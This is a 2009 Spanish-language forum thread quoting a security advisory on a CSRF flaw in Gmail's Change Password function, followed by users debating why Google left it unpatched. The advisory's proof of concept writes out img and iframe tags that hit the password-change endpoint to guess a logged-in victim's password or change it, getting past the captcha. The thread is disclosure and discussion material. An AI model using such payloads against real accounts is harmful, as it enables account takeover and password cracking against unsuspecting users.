Cita de: seclists.org/fulldisclosure/2009/Mar/0029.html From: ISecAuditors Security Advisories <advisories_at_isecauditors.com> Date: Tue, 03 Mar 2009 11:55:50 +0100 ============================================= INTERNET SECURITY AUDITORS ALERT 2007-003 - Original release date: August 1st, 2007 - Last revised: January 11th, 2009 - Discovered by: Vicente Aguilera Diaz - Severity: 3/5 ============================================= I. VULNERABILITY ------------------------- CSRF vulnerability in GMail service II. BACKGROUND ------------------------- Gmail is Google's free webmail service. It comes with built-in Google search technology and over 2,600 megabytes of storage (and growing every day). You can keep all your important messages, files and pictures forever, use search to quickly and easily find anything you're looking for, and make sense of it all with a new way of viewing messages as part of conversations. III. DESCRIPTION ------------------------- Cross-Site Request Forgery, also known as one click attack or session riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of malicious exploit of websites. Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site request forgery merely transmits unauthorized commands from a user the website trusts. GMail is vulnerable to CSRF attacks in the "Change Password" functionality. The only token for authenticate the user is a session cookie, and this cookie is sent automatically by the browser in every request. An attacker can create a page that includes requests to the "Change password" functionality of GMail and modify the passwords of the users who, being authenticated, visit the page of the attacker. The attack is facilitated since the "Change Password" request can be realized across the HTTP GET method instead of the POST method that is realized habitually across the "Change Password" form. IV. PROOF OF CONCEPT ------------------------- 1. An attacker create a web page "csrf-attack.html" that realize many HTTP GET requests to the "Change Password" functionality. For example, a password cracking of 3 attempts (see "OldPasswd" parameter): ... <img src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save"> <img src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save"> <img src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save"> ... or with hidden frames: ... <iframe src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save"> <iframe src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save"> <iframe src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save"> ... The attacker can use deliberately a weak new password (see "Passwd" and "PasswdAgain" parameters), this way he can know if the analysed password is correct without need to modify the password of the victim user. Using weak passwords the "Change Password" response is: - " The password you gave is incorrect. ", if the analysed password is not correct. - " We're sorry, but you've selected an insecure password. In order to protect the security of your account, please click "Password Strength" to get tips on choosing to safer password. ", if the analysed password is correct and the victim password is not modified. If the attacker want to modify the password of the victim user, the waited response message is: " Your new password has been saved - OK ". In any case, the attacker evades the restrictions imposed by the captcha of the authentication form. 2. A user authenticated in GMail visit the "csrf-attack.html" page controlled by the attacker. For example, the attacker sends a mail to the victim (a GMail account) and provokes that the victim visits his page (social engineering). So, the attacker insures himself that the victim is authenticated. 3. The password cracking is executed transparently to the victim. V. BUSINESS IMPACT ------------------------- - Selective DoS on users of the GMail service (changing user password). - Possible access to the mail of other GMail users. VI. SYSTEMS AFFECTED ------------------------- Gmail service. VII. SOLUTION ------------------------- No solution provided by vendor. VIII. REFERENCES ------------------------- http://www.gmail.com IX.

http://foro.elhacker.net/noticias/google_ignora_vulnerabilidad_de_seguridad_en_gmail_descubierta_por_un_espanol-t247296.0.html Lo que no entiendo es como puede ser que el fallo sea de 2007 y aún no haya sido parchado :¬¬ Saludos Título: Re: gmail CSRF Publicado por: WHK en 4 Marzo 2009, 22:05 pm http://packetstormsecurity.org/0903-exploits/gmail-xsrf.txt
Porque si la falla no aparece en milw0rm, packet storm, securityfocus, etc entonces no se parcha a menos que lo reportes directamente pero olvidate de que alguien de Google se va a dar el tiempo de buscar vulnerabilidades o de visitar sitios donde puedan dar algún indicio de estas fallas, en otras palabras puedes publicar un agujero de paypal en este foro y mientras no sea publicado en sitios de advisories conocidos entonces nunca lo sabrán (no significa que esté permitido hacerlo :P). Título: Re: gmail CSRF Publicado por: sirdarckcat en 4 Marzo 2009, 22:19 pm WHK, Una vulnerabilidad en un sitio web que publicaste en este foro hace tiempo hizo que los propietaros de ese sitio contactaran al ISP (sagonet) y mandaran una orden de quitar ese contenido.
Título: Re: gmail CSRF Publicado por: HardieVon en 6 Marzo 2009, 05:07 am ps yo creo que no lo an parchado por que no importa...no afecta en nada..
;D Título: Re: gmail CSRF Publicado por: berz3k en 24 Marzo 2009, 23:40 pm Interesante la news, no entiendo por que gmail se hace "wey" , sdc sabras por que fue ignorado esto ?
-berz3k. Título: Re: gmail CSRF Publicado por: sirdarckcat en 25 Marzo 2009, 13:54 pm Porque el ataque solo funcionaria para ataques con una victima en especifico, pero en ese caso es mas facil simplemente ver si tu victima usa un password debil. En cuyo caso es culpa de la victima por tener un password chafa, y gmail no podria hacer nada al respecto de todas formas..
